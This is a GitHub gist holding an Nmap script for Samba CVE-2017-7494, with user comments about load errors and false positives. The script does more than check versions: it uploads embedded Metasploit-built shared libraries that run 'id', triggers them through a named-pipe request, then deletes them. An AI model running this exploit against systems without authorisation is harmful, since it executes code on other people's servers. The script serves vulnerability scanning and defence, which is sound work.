-
-
Save wongwaituck/62c863ba7aa28a2d22d0fe9cbe14a18b to your computer and use it in GitHub Desktop.
local smb = require "smb" | |
local string = require "string" | |
local vulns = require "vulns" | |
local stdnse = require "stdnse" | |
local table = require "table" | |
local nmap = require "nmap" | |
description = [[ | |
Checks if target machines are vulnerable to the arbitrary shared library load | |
vulnerability CVE-2017-7494. | |
Unpatched versions of Samba from 3.5.0 to 4.4.13, and versions prior to | |
4.5.10 and 4.6.4 are affected by a vulnerability that allows remote code | |
execution, allowing a malicious client to upload a shared library to a writable | |
share, and then cause the server to load and execute it. | |
The script does not scan the version numbers by default as the patches released | |
for the mainstream Linux distributions do not change the version numbers. | |
The script checks the preconditions for the exploit to happen: | |
1) If the argument check-version is applied, the script will ONLY check | |
whether the service running is vulnerable versions of Samba. This is | |
useful if you wish to scan a group of hosts quickly for the vulnerability | |
based on the version number. However, some patched versions may still | |
show up as likely vulnerable. Here, we use smb.get_os(host) to do | |
versioning of the Samba version and compare it to see if it is a known | |
vulnerable version of Samba. Note that this check is not conclusive: | |
See 2,3,4 | |
2) Whether there exists writable shares for the execution of the script. | |
We must be able to write to a file to the share for the exploit to | |
take place. We hence enumerate the shares using | |
smb.share_find_writable(host) which returns the main_name, main_path | |
and a list of writable shares. | |
3) Whether the workaround (disabling of named pipes) was applied. | |
When "nt pipe support = no" is configured on the host, the service | |
would not be exploitable. Hence, we check whether this is configured | |
on the host using smb.share_get_details(host, 'IPC$'). The error | |
returned would be "NT_STATUS_ACCESS_DENIED" if the workaround is | |
applied. | |
4) Whether we can invoke the payloads from the shares. | |
Using payloads from Metasploit, we upload the library files to | |
the writable share obtained from 2). We then make a named pipe request | |
using NT_CREATE_ANDX_REQUEST to the actual local filepath and if the | |
payload executes, the status return will be false. Note that only | |
Linux_x86 and Linux_x64 payloads are tested in this script. | |
This script is based on the metasploit module written by hdm. | |
References: | |
* https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/samba/is_known_pipename.rb | |
* https://www.samba.org/samba/security/CVE-2017-7494.html | |
* http://blog.nsfocus.net/samba-remote-code-execution-vulnerability-analysis/ | |
]] | |
--- | |
-- @usage nmap --script samba-vuln-cve-2017-7494 -p 445 <target> | |
-- @usage nmap --script samba-vuln-cve-2017-7494 --script-args samba-vuln-cve-2017-7494.check-version -p445 <target> | |
-- @output | |
-- PORT STATE SERVICE | |
-- 445/tcp open microsoft-ds | |
-- MAC Address: 00:0C:29:16:04:53 (VMware) | |
-- | |
-- | samba-vuln-cve-2017-7494: | |
-- | VULNERABLE: | |
-- | SAMBA Remote Code Execution from Writable Share | |
-- | State: VULNERABLE | |
-- | IDs: CVE:CVE-2017-7494 | |
-- | Risk factor: HIGH CVSSv3: 7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) | |
-- | All versions of Samba from 3.5.0 onwards are vulnerable to a remote | |
-- | code execution vulnerability, allowing a malicious client to upload a | |
-- | shared library to a writable share, and then cause the server to load | |
-- | and execute it. | |
-- | | |
-- | Disclosure date: 2017-05-24 | |
-- | Check results: | |
-- | Samba Version: 4.3.9-Ubuntu | |
-- | Writable share found. | |
-- | Name: \\192.168.15.131\test | |
-- | Exploitation of CVE-2017-7494 succeeded! | |
-- | Extra information: | |
-- | All writable shares: | |
-- | Name: \\192.168.15.131\test | |
-- | References: | |
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494 | |
-- |_ https://www.samba.org/samba/security/CVE-2017-7494.html | |
-- | |
-- @xmloutput | |
-- <table key="CVE-2017-7494"> | |
-- <elem key="title">SAMBA Remote Code Execution from Writable Share</elem> | |
-- <elem key="state">VULNERABLE</elem> | |
-- <table key="ids"> | |
-- <elem>CVE:CVE-2017-7494</elem> | |
-- </table> | |
-- <table key="scores"> | |
-- <elem key="CVSSv3">7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)</elem> | |
-- </table> | |
-- <table key="description"> | |
-- <elem>All versions of Samba from 3.5.0 onwards are vulnerable to a remote
code execution vulnerability, allowing a malicious client to upload a
shared library to a writable share, and then cause the server to load
and execute it.
</elem> | |
-- </table> | |
-- <table key="dates"> | |
-- <table key="disclosure"> | |
-- <elem key="year">2017</elem> | |
-- <elem key="day">24</elem> | |
-- <elem key="month">05</elem> | |
-- </table> | |
-- </table> | |
-- <elem key="disclosure">2017-05-24</elem> | |
-- <table key="check_results"> | |
-- <elem>Samba Version: 4.3.9-Ubuntu</elem> | |
-- <elem>Writable share found. 
 Name: \\192.168.15.131\test</elem> | |
-- <elem>Exploitation of CVE-2017-7494 succeeded!</elem> | |
-- </table> | |
-- <table key="extra_info"> | |
-- <elem>All writable shares:</elem> | |
-- <elem> Name: \\192.168.15.131\test</elem> | |
-- </table> | |
-- <table key="refs"> | |
-- <elem>https://www.samba.org/samba/security/CVE-2017-7494.html</elem> | |
-- <elem>https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494</elem> | |
-- </table> | |
-- </table> | |
-- @args samba-vuln-cve-2017-7494.check-version Check only the version numbers the target's Samba service. Default: false | |
-- | |
--- | |
author = "Wong Wai Tuck" | |
license = "Same as Nmap--See https://nmap.org/book/man-legal.html" | |
categories = {"vuln","intrusive"} | |
hostrule = function(host) | |
return smb.get_port(host) ~= nil | |
end | |
dependencies = {"smb-os-discovery", "smb-brute"} | |
--linux/x86/exec (CMD=id) | |
local PAYLOAD_X86 = { | |
0x7F, 0x45, 0x4C, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x03, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x34, 0x00, 0x00, 0x00, | |
0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00, | |
0x02, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x1C, 0x01, 0x00, 0x00, 0x42, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, | |
0x00, 0x10, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, | |
0xC4, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, | |
0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xC4, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, | |
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0xF6, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, | |
0xF4, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x0B, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2D, 0x63, 0x89, | |
0xE7, 0x68, 0x2F, 0x73, 0x68, 0x00, 0x68, 0x2F, 0x62, 0x69, 0x6E, 0x89, 0xE3, 0x52, 0xE8, 0x03, | |
0x00, 0x00, 0x00, 0x69, 0x64, 0x00, 0x57, 0x53, 0x89, 0xE1, 0xCD, 0x80, | |
} | |
--linux/x64/exec (CMD=id) | |
local PAYLOAD_X64 = { | |
0x7F, 0x45, 0x4C, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x03, 0x00, 0x3E, 0x00, 0x01, 0x00, 0x00, 0x00, 0x92, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x02, 0x00, 0x40, 0x00, 0x02, 0x00, 0x01, 0x00, | |
0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0xBC, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, | |
0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, | |
0x00, 0x00, 0x6A, 0x3B, 0x58, 0x99, 0x48, 0xBB, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, | |
0x53, 0x48, 0x89, 0xE7, 0x68, 0x2D, 0x63, 0x00, 0x00, 0x48, 0x89, 0xE6, 0x52, 0xE8, 0x03, 0x00, | |
0x00, 0x00, 0x69, 0x64, 0x00, 0x56, 0x57, 0x48, 0x89, 0xE6, 0x0F, 0x05, | |
} | |
PAYLOAD_X86 = string.pack(string.rep("B", #PAYLOAD_X86), table.unpack(PAYLOAD_X86)) | |
PAYLOAD_X64= string.pack(string.rep("B", #PAYLOAD_X64), table.unpack(PAYLOAD_X64)) | |
-- directories to look through if actual path cannot be queried | |
local COMMON_DIRS = {"/volume1/","/volume2/","/volume3/","/volume4/", | |
"/shared/","/mnt/","/mnt/usb/","/media/","/mnt/media/","/var/samba/", | |
"/tmp/","/home/","/home/shared/"} | |
-- filename used to save into the shared folders | |
local FILENAME = 'test.so' | |
local payloads = {PAYLOAD_X86, PAYLOAD_X64} | |
--- Determines whether the version of Samba is vulnerable and sets it in the | |
-- table samba_cve. Note that version numbers may not indicate vulnerability | |
-- as there are patches released (e.g. for Ubuntu) which did not change the | |
-- version of Samba | |
-- | |
-- @param version The string containing the version of Samba | |
-- @param samba_cve The vuln table containing information for the results | |
local function determine_vuln_version(version, samba_cve) | |
local major, minor, patch | |
major, minor, patch = string.match(version,"(%d+)%.(%d+)%.(%d+).*") | |
stdnse.debug("Major version: %s, Minor version: %s, Patch version: %s", major, minor, patch) | |
major, minor, patch = tonumber(major), tonumber(minor), tonumber(patch) | |
-- no patches available for 3.5.X and 3.6.X | |
if major == 3 and minor >= 5 then | |
samba_cve.state = vulns.STATE.LIKELY_VULN | |
elseif major == 4 then | |
if minor < 4 then | |
samba_cve.state = vulns.STATE.LIKELY_VULN | |
-- patched in 4.4.14 | |
elseif minor == 4 and patch < 14 then | |
samba_cve.state = vulns.STATE.LIKELY_VULN | |
-- patched in 4.5.10 | |
elseif minor == 5 and patch < 10 then | |
samba_cve.state = vulns.STATE.LIKELY_VULN | |
-- patched in 4.6.4 | |
elseif minor == 6 and patch < 4 then | |
samba_cve.state = vulns.STATE.LIKELY_VULN | |
end | |
end | |
end | |
--- Finds all writable shares on the target host and stores the name and path | |
-- into samba_cve stable, using smb.share_find_writable | |
-- | |
-- @param host The target host | |
-- @param samba_cve The vuln table containing information for the results | |
-- @return (main_name, main_path) Two strings, containing the name of the main | |
-- writable share and its path | |
local function find_writable_shares(host, samba_cve) | |
-- determine if there are writable shares | |
local status, main_name, main_path, names | |
status, main_name, main_path, names = smb.share_find_writable(host) | |
-- successful in finding writable share | |
if status then | |
local msg = string.format("Writable share found. \n Name: %s", main_name) | |
if main_path then | |
msg = msg .. string.format("\n Path: %s ", main_path) | |
end | |
-- insert main writable directory with path into check_results | |
table.insert(samba_cve.check_results, msg) | |
-- insert names of other writable shares to extra_info | |
if #names > 0 then | |
table.insert(samba_cve.extra_info, string.format( | |
"All writable shares:")) | |
end | |
for i = 1, #names, 1 do | |
table.insert(samba_cve.extra_info, string.format(" Name: %s", main_name)) | |
end | |
else | |
-- writable share enumeration failed, return error message stored in main_name | |
local err = main_name | |
table.insert(samba_cve.extra_info, err) | |
main_name = nil | |
end | |
-- main_path is C:\<actual share> | |
-- we map it to the equivalent statement in Unix filesystems | |
-- i.e. /<actual share>/ | |
if main_path then | |
main_path = "/" .. string.sub(main_path, 4) .. "/" | |
end | |
return main_name, main_path | |
end | |
--- Check if the suggested workaround "nt pipe support = no" was applied on | |
-- the target host. The script checks if details can be queried on IPC$ | |
-- which in a typical case will return details on the IPC, but if the | |
-- workaround is applied, an error of 'NT_STATUS_ACCESS_DENIED' is returned | |
-- | |
-- @param host The target host | |
-- @param samba_cve The vuln table containing information for the results | |
-- @return A boolean indicating the nt pipe support is enabled, which | |
-- indicates the workaround was not applied | |
local function is_ntpipesupport_enabled(host, samba_cve) | |
-- do "nt pipe support = no" workaround check, in which case | |
-- accessing 'IPC$' returns 'NT_STATUS_ACCESS_DENIED' | |
local status, result | |
status, result = smb.share_get_details(host, 'IPC$') | |
if status and result['details'] == "NT_STATUS_ACCESS_DENIED" then | |
samba_cve.state = vulns.STATE.NOT_VULN | |
return false | |
elseif not status then | |
-- error accessing IPC$, present error to user | |
local err = result | |
table.insert(samba_cve.extra_info, err) | |
end | |
return true | |
end | |
--- Creates candidate paths for common directories of shares | |
-- This is method is based off the Metasploit script. | |
-- | |
-- @param share_name Name of the share that you wish to write to | |
-- ireturn Array of candidate paths of the shares, never nil | |
local function enumerate_directories(share_name) | |
local candidates = {} | |
-- enumerate through all locations to find the file | |
for i = 1, #COMMON_DIRS, 1 do | |
table.insert(candidates, COMMON_DIRS[i]) | |
table.insert(candidates, COMMON_DIRS[i] .. share_name) | |
table.insert(candidates, COMMON_DIRS[i] .. string.upper(share_name)) | |
table.insert(candidates, COMMON_DIRS[i] .. string.lower(share_name)) | |
table.insert(candidates, COMMON_DIRS[i] .. string.gsub(share_name, " ", "_")) | |
end | |
return candidates | |
end | |
--- Uploads the payloads in the array into a file each on the writable share. | |
-- Because the execution of the payload must match the architecture of the | |
-- target system, the function will try to test against each payload from | |
-- different architectures. The payloads were generated from Metasploit. | |
-- | |
-- The function will then test if the system is vulnerable by making a NT | |
-- Create AndX Request on the IPC$ on the actual path of the file containing | |
-- the payload. It will first try to see if the actual path was retrieved | |
-- using previously by checking for the path argument. If it is not supplied, | |
-- because we do not know where the actual files are stored on the filesystem, | |
-- we have to make guesses on common directories. The status returned when | |
-- the payload executes is false, indicating that the system is vulnerable. | |
-- | |
-- @param host The target host | |
-- @param samba_cve The vuln table containing information for the results | |
-- @param payloads An array containing payloads from different architectures | |
-- @param name The name of the writable share | |
-- @param path The canonical path of the share | |
local function test_cve2017_7494(host, samba_cve, payloads, name, path) | |
local status, result, err, share_name | |
local candidates = {} | |
-- create the files of both payloads on the share | |
-- the files are named as follows: | |
-- <index><base_filename> | |
for i, l_payload in ipairs(payloads) do | |
for _, anon in ipairs({true, false}) do | |
status, err = smb.file_write(host, l_payload, name, | |
tostring(i) .. FILENAME, anon) | |
stdnse.debug1("Write file status %s , err %s", status, err) | |
if status then break end | |
end | |
end | |
-- check if a proper filepath is returned from smb probes and use it | |
if path then | |
table.insert(candidates, path) | |
else | |
share_name = string.match(name, "\\\\.*\\(.*)") .. '/' | |
candidates = enumerate_directories(share_name) | |
end | |
-- try all candidate payloads | |
for h = 1, #payloads, 1 do | |
local l_filename = tostring(h) .. FILENAME | |
-- loop through all common candidate paths | |
for i = 1, #candidates, 1 do | |
local path = candidates[i] .. l_filename | |
local pipe_formats = {"\\\\PIPE\\".. path , path} | |
-- test both pipe formats for each path | |
for j = 1, #pipe_formats, 1 do | |
local curr_path = pipe_formats[j] | |
-- make an simple SMB connection to IPC$ | |
local status, smbstate = smb.start_ex(host, true, true, "\\\\" .. | |
host.ip .. "\\IPC$", nil, nil, nil) | |
if not status then | |
stdnse.debug1("Could not connect to IPC$") | |
else | |
local overrides = {} | |
local smb_header, smb_params, smb_cmd | |
-- perform NT Create NX Request on candidate file paths | |
-- a correct filepath would return status failure on vulnerable systems | |
-- NT_CREATE_ANDX opcode is 0xa2 | |
smb_header = smb.smb_encode_header(smbstate, 0xa2, overrides) | |
local str_len = string.len(curr_path) | |
-- referenced from https://msdn.microsoft.com/en-us/library/ee442175.aspx | |
smb_params = string.pack("<B B I2 B I2 I4 I4 I4 I8 I4 I4 I4 I4 I4 B I2 z", | |
0xff, -- AndXCommand (1 byte) | |
0x0, -- AndXReserved (1 byte) | |
0x0, -- AndXOffset (2 bytes) | |
0x0, -- Reserved (1 byte) | |
str_len, -- NameLength (2 bytes) | |
0x16, -- Flags (4 bytes) | |
0x0, -- RootDirectoryFID (4 bytes) | |
0x2000000, -- DesiredAccess (4 bytes) | |
0x0, -- AllocationSize (8 bytes) | |
0x0, -- ExtFileAttributes (4 bytes) | |
0x7, -- ShareAccess (4 bytes) | |
0x1, -- CreateDisposition (4 bytes) | |
0x0, -- CreateOptions (4 bytes) | |
0x2, -- ImpersonationLevel (4 bytes) | |
0x00, -- SecurityFlags (1 byte) | |
str_len+1, -- ByteCount (2 bytes) | |
curr_path -- File Name | |
) | |
overrides['parameters_length'] = 0x18 | |
stdnse.debug2("SMB: Sending NT_CREATE_ANDX request of length %d", #smb_params) | |
status, err = smb.smb_send(smbstate, smb_header, smb_params, '', overrides) | |
stdnse.debug1('Querying - status: %s , curr_path %s , result: %s', | |
status, curr_path, result) | |
-- parse the results from the smbstate | |
result, smb_header = smb.smb_read(smbstate) | |
_, smb_cmd, err = string.unpack("<c4 B I4", smb_header) | |
stdnse.debug1("result %s, curr_path %s, error %s", result, curr_path, err) | |
-- on payload execution, result will be false | |
if not result then | |
samba_cve.state = vulns.STATE.VULN | |
table.insert(samba_cve.check_results, | |
"Exploitation of CVE-2017-7494 succeeded!") | |
return | |
end | |
end | |
end | |
end | |
end | |
if samba_cve.state ~= vulns.STATE.VULN and not path then | |
samba_cve.state = vulns.STATE.LIKELY_VULN | |
table.insert(samba_cve.check_results, | |
'File written to remote share, but unable to execute payload either due to unknown actual path, or the system may be patched.') | |
end | |
end | |
action = function(host,port) | |
local port = nmap.get_port_state(host,{number=smb.get_port(host),protocol='tcp'}) | |
local result, stats | |
local response = {} | |
local samba_cve = { | |
title = "SAMBA Remote Code Execution from Writable Share", | |
IDS = {CVE = 'CVE-2017-7494'}, | |
risk_factor = "HIGH", | |
scores = { | |
CVSSv3 = "7.5 (HIGH) (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)" | |
}, | |
description = [[ | |
All versions of Samba from 3.5.0 onwards are vulnerable to a remote | |
code execution vulnerability, allowing a malicious client to upload a | |
shared library to a writable share, and then cause the server to load | |
and execute it. | |
]], | |
references = { | |
'https://www.samba.org/samba/security/CVE-2017-7494.html', | |
}, | |
dates = { | |
disclosure = {year = '2017', month = '05', day = '24'}, | |
}, | |
check_results = {}, | |
extra_info = {} | |
} | |
local report = vulns.Report:new(SCRIPT_NAME, host, port) | |
samba_cve.state = vulns.STATE.NOT_VULN | |
local check_version = stdnse.get_script_args(SCRIPT_NAME .. ".check-version") or false | |
-- check if they put false or similar | |
if check_version and string.lower(check_version) == "false" then | |
check_version = nil | |
end | |
local version = port.version.version | |
-- retrieve version of samba using smb.get_os | |
if not version then | |
local status, result = smb.get_os(host) | |
if(status == false) then | |
return stdnse.format_output(false, result) | |
end | |
-- result.lanmanager contains OS version information | |
-- string returned by result.lanmanager looks like Samba 4.3.9-Ubuntu | |
-- we only want 4.3.9-Ubuntu | |
if string.match(result.lanmanager,"^Samba ") then | |
version = string.match(result.lanmanager,"^Samba (.*)") | |
else | |
return stdnse.format_output(false, | |
"Either versioning failed or samba does not exist on the port!") | |
end | |
end | |
table.insert(samba_cve.check_results, | |
string.format("Samba Version: %s",version)) | |
if check_version then | |
stdnse.debug("Port Version: %s", port.version.version) | |
-- determine if version is vulnerable | |
determine_vuln_version(version, samba_cve) | |
else | |
local name, path | |
-- vulnerability requires library to be written to share | |
name, path = find_writable_shares(host, samba_cve) | |
stdnse.debug1("Writable share name: %s, Path returned: %s", name, path) | |
-- do "nt pipe support = no" workaround check, which prevents exploitation | |
local ntpipe_enabled = is_ntpipesupport_enabled(host, samba_cve) | |
-- some patches for samba will be marked vulnerable | |
-- e.g. 2:4.3.11+dfsg-0ubuntu0.16.04.7 | |
-- in reality they are not vulnerable | |
-- patched versions prevents named pipes containing '/' | |
-- more information is available on the patch | |
-- https://git.samba.org/?p=samba.git;a=blobdiff;f=source3/rpc_server/srv_pipe.c;h=f79fbe26abff1e3a2b3f3a21480196afc09d13b1;hp=39f5fb49ec3c0e011a5c6ad4b7ac60bcf49af05a;hb=02a76d86db0cbe79fcaf1a500630e24d961fa149;hpb=82bb44dd3b7f42b90494294b32f8413a39cb2030 | |
-- therefore we need to ascertain if the exploit works | |
if name and ntpipe_enabled then | |
test_cve2017_7494(host, samba_cve, payloads, name, path) | |
for i, _ in ipairs(payloads) do | |
smb.file_delete(host, name, tostring(i) .. FILENAME) | |
end | |
end | |
end | |
return report:make_output(samba_cve) | |
end |
I received the below errors indicating a problem on line 130. The fork provided by marcurdy seems to have modified 130 (and potentially others?) and fixed the error. I just wanted to point this out as something appears to be causing issues. I still receive errors on a handful of machines. However, running debug seems to indicate the script finishes fine, no errors are apparent.
Initiating NSE at 14:32
NSE: Starting samba-vuln-cve-2017-7494 against 10.x.x.x.
NSE: [samba-vuln-cve-2017-7494 10.x.x.x] SMB: Added account '' to account list
NSE: [samba-vuln-cve-2017-7494 10.x.x.x] SMB: Added account 'guest' to account list
NSE: [samba-vuln-cve-2017-7494 10.x.x.x] LM Password:
NSE: [samba-vuln-cve-2017-7494 10.x.x.x] LM Password:
NSE: samba-vuln-cve-2017-7494 against 10.x.x.x threw an error!
/usr/bin/../share/nmap/scripts/samba-vuln-cve-2017-7494.nse:130: variable 'std' is not declared
stack traceback:
[C]: in function 'error'
/usr/bin/../share/nmap/nselib/strict.lua:80: in metamethod '__index'
/usr/bin/../share/nmap/scripts/samba-vuln-cve-2017-7494.nse:130: in function </usr/bin/../share/nmap/scripts/samba-vuln-cve-2017-7494.nse:113>
(...tail calls...)
Completed NSE at 14:32, 0.63s elapsed
@Hankhh : Version checks from a remote system are usually not that fine-grained unfortunately. In the latest version of the script, I completely skip the version check by default and try to run the actual exploit on the system.
@BeanBagKing : You have spotted a really careless mistake of mine! I have fixed it quite some time ago in my pull request on nmap, which should be the authoritative source for the script.
Hi, I get this error message when running the script:
root@srv0virt:~# nmap --script samba-vuln-cve-2017-7494.nse -p445 -iL list1
Starting Nmap 6.40 ( http://nmap.org ) at 2017-06-05 23:09 UTC
NSE: Failed to load samba-vuln-cve-2017-7494.nse:
samba-vuln-cve-2017-7494.nse:194: attempt to call field 'pack' (a nil value)
stack traceback:
samba-vuln-cve-2017-7494.nse:194: in function samba-vuln-cve-2017-7494.nse:1
NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:547: could not load script
stack traceback:
[C]: in function 'error'
/usr/bin/../share/nmap/nse_main.lua:547: in function 'new'
/usr/bin/../share/nmap/nse_main.lua:783: in function 'get_chosen_scripts'
/usr/bin/../share/nmap/nse_main.lua:1271: in main chunk
[C]: in ?
QUITTING!
Thanks for your time.
@syrius01 Make sure you have the latest verion of Nmap ( which is 7.40) specially If you're using Ubuntu. Yours seems to be the old one. (To see which version is being used ---> nmap -v)
Manual nmap update ;
https://uvelinux.com/install-nmap-linux-ubuntu-fedora-redhat-suse/
There is potential false positive possibility while using this script against Redhat enterprise server v6 based on the official RedHat security page;
https://rhn.redhat.com/errata/RHSA-2017-1270.html#Red
the latest Samba update for Red Hat Enterprise Linux Workstation (v. 6) is
SRPMS:
samba-3.6.23-43.el6_9.src.rpm
In this case, if you scan a host using the above script, it will show you the host is vulnerable, which is kind of false positive.
Redhat has the official script for the CVE-2017-7494, which you can use to make sure if any Samba inRedhat v6 servers are vulnerable or not.
https://access.redhat.com/sites/default/files/cve-2017-7494.sh
(It should be run locally on the target server)